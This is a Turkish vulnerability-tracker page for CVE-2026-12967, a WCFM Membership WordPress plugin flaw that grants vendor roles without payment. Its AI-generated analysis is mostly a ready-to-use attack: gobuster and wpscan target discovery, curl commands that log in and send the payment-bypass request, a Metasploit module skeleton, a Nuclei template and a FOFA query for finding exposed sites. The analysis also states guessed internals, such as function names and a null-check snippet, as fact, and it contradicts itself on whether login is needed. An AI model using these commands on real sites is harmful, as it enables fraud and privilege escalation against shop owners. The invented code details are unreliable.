CVE Professor — Güvenlik Açığı Takip & Analiz
›
CVE-2026-12967

CWE-269

ORTA CVSS 6.5 ⚡ EPSS 0.2% NVD

The WCFM Membership WordPress plugin before 2.12.1 does not verify that payment was made before completing a paid membership, allowing any authenticated Subscriber/Customer to activate a paid vendor membership for free and gain the marketplace vendor role.

Yayınlanma 06.11.2026
ISO Tarih 2026-11-06
CVSS Sürüm v3.1
Kaynak NVD
CVSS v3.1 Metrikleri
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity High I:H
Availability None A:N
EPSS — Exploit Olasılık Skoru
0.2%
30 günlük olasılık
Tüm CVElerin 7. yüzdeliğinde — Bu açığın istismar edilme ihtimali çoğu CVEden yüksek.
AI Güvenlik Analizi

🎯 Açık Nedir? / What is this vulnerability?

CVE‑2026‑12967 – “WCFM Membership” WordPress eklentisinde yetkisiz üyelik yükseltmesi (Privilege Escalation).

  • Eklenti: WCFM – WooCommerce Frontend Manager – Membership (versiyon 2.12.1 öncesi).
  • Hedef fonksiyon: WCFM_Membership::process_membership_payment() (veya benzeri wcfm_membership_payment_handler() hook’u).
  • Mantıksal hata: Ödeme onayı (payment_status) kontrolü yetersiz. Eklenti, bir “paid vendor” (satıcı) üyeliği oluşturulurken, ödeme geçişi (gateway_response) doğrulanmadan doğrudan üyelik durumunu “active” olarak işaretliyor.
  • Parametre: HTTP POST isteği içinde gönderilen membership_id, plan_id, gateway ve payment_id alanları. payment_id veritabanında bir kayıt bulunmasa bile, eklenti if ( $payment_id ) { … } else { // treat as paid } şeklinde bir null‑check hatası içeriyor.
  • Kimlik doğrulama: Sadece authenticated bir Subscriber/Customer (WordPress rolü “subscriber” veya “customer”) gerekir. Bu rol, normalde sadece mağaza alıcısıdır; ancak bu açık sayesinde aynı oturumla vendor (satıcı) rolü elde edilebilir.
  • CWE‑269 (Improper Authorization): Yetkilendirme kontrolünün eksikliği, “payment made” koşulunun doğrulanmaması.
  • > Özet: Ödeme yapılmadığı halde, eklenti membership_status = 'active' satırını çalıştırıyor ve add_role( 'vendor' ) fonksiyonunu çağırıyor. Bu, yetkisiz bir kullanıcıya satıcı yetkileri (ürün ekleme, sipariş yönetimi, ödeme ayarları) verir.

    ---

    ⚡ Saldırı Zinciri / Attack Chain

    1️⃣ Discovery – Hedefin bulunması

    | Adım | Açıklama | Araç | |------|----------|------| | a) WordPress site taraması | wp-content/plugins/wc‑frontend‑manager‑membership/ klasörünün varlığı robots.txt, sitemap.xml veya dirb/gobuster ile tespit edilir. | gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt | | b) Eklenti versiyonunun çıkarılması | readme.txt içinde Stable tag: 2.11.3 gibi bir satır bulunur; ayrıca wp‑plugin‑info API üzerinden plugin_version sorgulanabilir. | wpscan --url https://target.com --enumerate p |

    2️⃣ Reconnaissance – Gerekli Bilgiler

    | Bilgi | Nasıl elde edilir | |-------|-------------------| | Authenticated Subscriber/Customer hesabı | Kayıt formu üzerinden ücretsiz bir müşteri hesabı oluşturulur (WCFM Marketplace genelde “customer” rolü verir). | | CSRF token / nonce | wp-admin/admin-ajax.php üzerinden action=wcfm_membership_payment isteği gönderildiğinde yanıt içinde wcfm_nonce bulunur. Bu token, wp_rest veya admin-ajax endpoint’inde X-WP-Nonce header’ı ile gönderilir. | | Mevcut membership plan ID | GET /wp-json/wcfm/v1/membership/plans (eğer REST API açıksa) ya da admin-ajax.php?action=wcfm_membership_get_plans ile alınabilir. |

    3️⃣ Exploitation – Saldırı Nasıl Gerçekleşir?

    #### 3.1. Gerekli ön koşul

  • Kullanıcı oturumu (cookie wordpress_logged_in_…) elde edilmiş olmalı. Bu, basit bir kayıt ve login işlemiyle sağlanır.
  • #### 3.2. İstek örneği (cURL)

    ```bash

    1. Login ve oturum çerezini al (örnek)


    curl -c cookies.txt -d "log=attacker&pwd=Password123!" \
    -d "wp-submit=Log+In&testcookie=1&redirect_to=%2Fwp-admin%2F" \
    https://target.com/wp-login.php

    2. Membership plan ID'yi öğren (örnek: 7)

    PLAN_ID=7

    3. CSRF nonce (admin-ajax üzerinden)

    NONCE=$(curl -b cookies.txt -s \ "https://target.com/wp-admin/admin-ajax.php?action=wcfm_membership_get_nonce" | jq -r .nonce)

    4. Ödeme olmadan üyelik aktivasyonu (payment_id boş bırakılıyor)

    curl -b cookies.txt -c cookies.txt -X POST \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "action=wcfm_membership_payment" \ -d "membership_id=0" \ -d "plan_id=${PLAN_ID}" \ -d "gateway=offline" \ -d "payment_id=" \ -d "_wpnonce=${NONCE}" \ "https://target.com/wp-admin/admin-ajax.php" ```
  • Neden çalışır? payment_id boş olduğu halde if ( ! empty( $payment_id ) ) { … } else { // treat as paid } kod bloğu ödemeyi atlar ve membership_status = 'active' olarak ayarlar.
  • Sonuç: Kullanıcı artık vendor rolüne sahip olur (add_role( 'vendor' ) çağrısı).
#### 3.3. Metasploit / Exploit Module Henüz resmi bir Metasploit modülü bulunmamakta, ancak aşağıdaki custom module örneği hızlıca hazırlanabilir:

```ruby
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'WCFM Membership Free Vendor Escalation',
'Description' => %q{
Exploits missing payment verification in WCFM Membership plugin.
},
'Author' => [ 'YourName' ],
'License' => MSF_LICENSE,
'References' => [ ['CVE', '2026-12967'] ],
'Platform' => ['php'],
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0
))
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wc-frontend-manager-membership', 'readme.txt')
})
return CheckCode::Safe unless res && res.body =~ /Stable tag:\s*([0-9.]+)/
version = $1
return version < '2.12.1' ? CheckCode::Appears : CheckCode::Safe
end

def exploit
login
nonce = get_nonce
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'cookie' => @cookie,
'vars_post' => {
'action' => 'wcfm_membership_payment',
'plan_id' => datastore['PLAN_ID'],
'gateway' => 'offline',
'payment_id' => '',
'_wpnonce' => nonce
}
})
end
# login / get_nonce helper methods omitted for brevity
end
```

> Not: Modül sadece örnek amaçlıdır; gerçek ortamda PLAN_ID ve nonce dinamik olarak alınmalıdır.

#### 3.4. Nuclei Template (OTX)

```yaml
id: wcfm-membership-priv-esc
info:
name: WCFM Membership Free Vendor Escalation
author: pentester
severity: high
description: Detects unauthenticated POST to wcfm_membership_payment without payment_id.
tags: wordpress,wcfm,privilege-escalation

requests:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php"
body: "action=wcfm_membership_payment&plan_id=1&gateway=offline&payment_id=&_wpnonce=invalid"
matchers:
- type: word
words:
- "membership_status\":\"active"

[🤖 GPT-OSS 120B via Groq]

Hedef Keşif Sorguları

FOFA Sorgusu

app="WordPress" && body="/wp-content/plugins/wcfm-membership"
CVSS Skoru
6.5 / 10 · CVSS ORTA
Zayıflık Türleri (CWE)
CWE-269
Referanslar (1)
İlgili CVE'ler
10.0
CVE-2026-120338
Prefab UI's Generative UI sandbox runs caller-supplied Python inside Pyodide, Python compiled to WebAssembly,
9.9
CVE-2026-127073
OpsTree BuildPiper before 2.7.0 contains a privilege escalation vulnerability that allows project users to gai
9.9
CVE-2026-127080
OpsTree BuildPiper before 2.7.0 contains an improper authorization vulnerability that allows authenticated dep
9.9
CVE-2026-122313
Kyverno from 1.17.0 before 1.19.2 contains a privilege escalation vulnerability that allows namespace-scoped t
9.9
CVE-2026-120306
Beta9 turns each shell command in a tenant image definition into a Dockerfile RUN line and executes it with Bu